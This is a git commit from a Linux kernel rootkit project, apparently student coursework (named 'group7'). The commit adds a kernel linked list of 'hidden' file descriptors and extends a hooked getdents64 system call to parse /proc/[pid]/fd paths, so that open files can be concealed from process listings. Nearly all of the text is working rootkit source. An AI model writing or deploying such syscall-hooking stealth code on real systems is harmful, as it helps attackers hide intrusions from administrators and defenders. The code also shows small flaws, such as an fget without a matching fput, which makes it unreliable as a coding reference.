commit 01d4d42c2c02fb10a673332190cace9c36d9acd3
parent 2e966a605bfd6a0a127c05ebc568652be10c8a34
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date: Sat, 5 Dec 2020 19:07:25 +0100
Add initial path tokenization
Diffstat:
A | src/hideopen.c | | | 79 | +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ |
A | src/hideopen.h | | | 21 | +++++++++++++++++++++ |
M | src/hook.c | | | 52 | ++++++++++++++++++++++++++++++++++++++++++++++++++++ |
3 files changed, 152 insertions(+), 0 deletions(-)
diff --git a/src/hideopen.c b/src/hideopen.c
@@ -0,0 +1,78 @@
+#include <linux/slab.h>
+#include <linux/fd.h>
+
+#include "hook.h"
+#include "hideopen.h"
+
+fd_list_t hidden_fds = {
+ .fd = -1,
+ .prev = NULL,
+ .next = NULL,
+};
+
+fd_list_t_ptr hidden_fds_tail = &hidden_fds;
+
+void
+clear_hidden_fds(void)
+{
+ fd_list_t_ptr i = hidden_fds_tail;
+ while ((i = remove_fd_from_list(i, i->fd)));
+}
+
+bool
+list_contains_fd(fd_list_t_ptr list, int fd)
+{
+ return !!find_fd_in_list(list, fd);
+}
+
+fd_list_t_ptr
+find_fd_in_list(fd_list_t_ptr head, int fd)
+{
+ fd_list_t_ptr i;
+ for (i = head; i; i = i->next)
+ if (i->fd == fd)
+ return i;
+
+ return NULL;
+}
+
+fd_list_t_ptr
+add_fd_to_list(fd_list_t_ptr tail, int fd)
+{
+ fd_list_t_ptr node;
+ node = (fd_list_t_ptr)kmalloc(sizeof(fd_list_t), GFP_KERNEL);
+
+ if (node) {
+ node->fd = fd;
+ node->next = NULL;
+ node->prev = tail;
+ tail->next = node;
+ hidden_fds_tail = node;
+ return node;
+ }
+
+ return NULL;
+}
+
+
+fd_list_t_ptr
+remove_fd_from_list(fd_list_t_ptr list, int fd)
+{
+ fd_list_t_ptr i = find_fd_in_list(list, fd), ret = NULL;
+
+ if (i && (i->fd != -1)) {
+ if (i->next)
+ i->next->prev = i->prev;
+ else
+ hidden_fds_tail = i->prev ? i->prev : &hidden_fds;
+
+ if (i->prev) {
+ i->prev->next = i->next;
+ ret = i->prev;
+ }
+
+ kfree(i);
+ }
+
+ return ret;
+}
+\ No newline at end of file
diff --git a/src/hideopen.h b/src/hideopen.h
@@ -0,0 +1,21 @@
+#ifndef _GROUP7_HIDEOPEN_H
+#define _GROUP7_HIDEOPEN_H
+
+#include <linux/types.h>
+
+typedef struct fd_list *fd_list_t_ptr;
+typedef struct fd_list {
+ int fd;
+ fd_list_t_ptr prev;
+ fd_list_t_ptr next;
+} fd_list_t;
+
+extern fd_list_t hidden_fds;
+
+void clear_hidden_fds(void);
+bool list_contains_fd(fd_list_t_ptr, int);
+fd_list_t_ptr find_fd_in_list(fd_list_t_ptr, int);
+fd_list_t_ptr add_fd_to_list(fd_list_t_ptr, int);
+fd_list_t_ptr remove_fd_from_list(fd_list_t_ptr list, int fd);
+
+#endif//_GROUP7_HIDEOPEN_H
diff --git a/src/hook.c b/src/hook.c
@@ -5,6 +5,11 @@
#include <linux/fdtable.h>
#include <linux/list.h>
#include <linux/proc_ns.h>
+#include <linux/namei.h>
+#include <linux/file.h>
+#include <linux/sched.h>
+#include <linux/fs_struct.h>
+#include <linux/dcache.h>
#include "common.h"
#include "hook.h"
@@ -16,6 +21,8 @@
extern rootkit_t rootkit;
+const char *dir_sep = "/";
+
void **sys_calls;
atomic_t read_install_count;
@@ -187,6 +194,7 @@ g7_getdents64(const struct pt_regs *pt_regs)
typedef struct linux_dirent64 *dirent64_t_ptr;
bool may_proc;
+
unsigned long offset;
dirent64_t_ptr kdirent, cur_kdirent, prev_kdirent;
struct dentry *kdirent_dentry;
@@ -196,12 +204,56 @@ g7_getdents64(const struct pt_regs *pt_regs)
dirent64_t_ptr dirent = (dirent64_t_ptr)pt_regs->si;
long ret = sys_getdents64(pt_regs);
+ bool may_fd = 0; //We only need /proc/[pid]/fd dirs
+ struct file *dirfile = fget(fd);
+ pid_t fd_pid;
+
if (ret <= 0 || !(kdirent = (dirent64_t_ptr)kzalloc(ret, GFP_KERNEL)))
return ret;
if (copy_from_user(kdirent, dirent, ret))
goto yield;
+ if(dirfile && !strcmp(dirfile->f_path.dentry->d_name.name, "fd")) {
+ char *buf = kzalloc(512, GFP_KERNEL);
+ char *path = d_path(&dirfile->f_path, buf, 512);
+
+ if(!IS_ERR(path)) {
+ char *sub;
+ char *cur = path;
+
+ /**
+ * In the correct directory, the tokens are as follows:
+ * {NULL, proc, [PID], fd}
+ * We also don't want the task directory, so the third
+ * token should be fd, not task
+ **/
+ int i = 0;
+
+ while((sub = strsep(&cur, dir_sep))) {
+ switch(i++) {
+ case 1:
+ if(strcmp(sub, "proc"))
+ goto leave;
+ break;
+ case 2:
+ fd_pid = PID_FROM_NAME(sub);
+ break;
+ case 3:
+ if(!strcmp(sub, "fd"))
+ may_fd = 1;
+ else
+ goto leave;
+ default:
+ break;
+ }
+ }
+
+ leave:
+ kfree(buf);
+ }
+ }
+
atomic_inc(&getdents64_count);
kdirent_dentry = current->files->fdt->fd[fd]->f_path.dentry;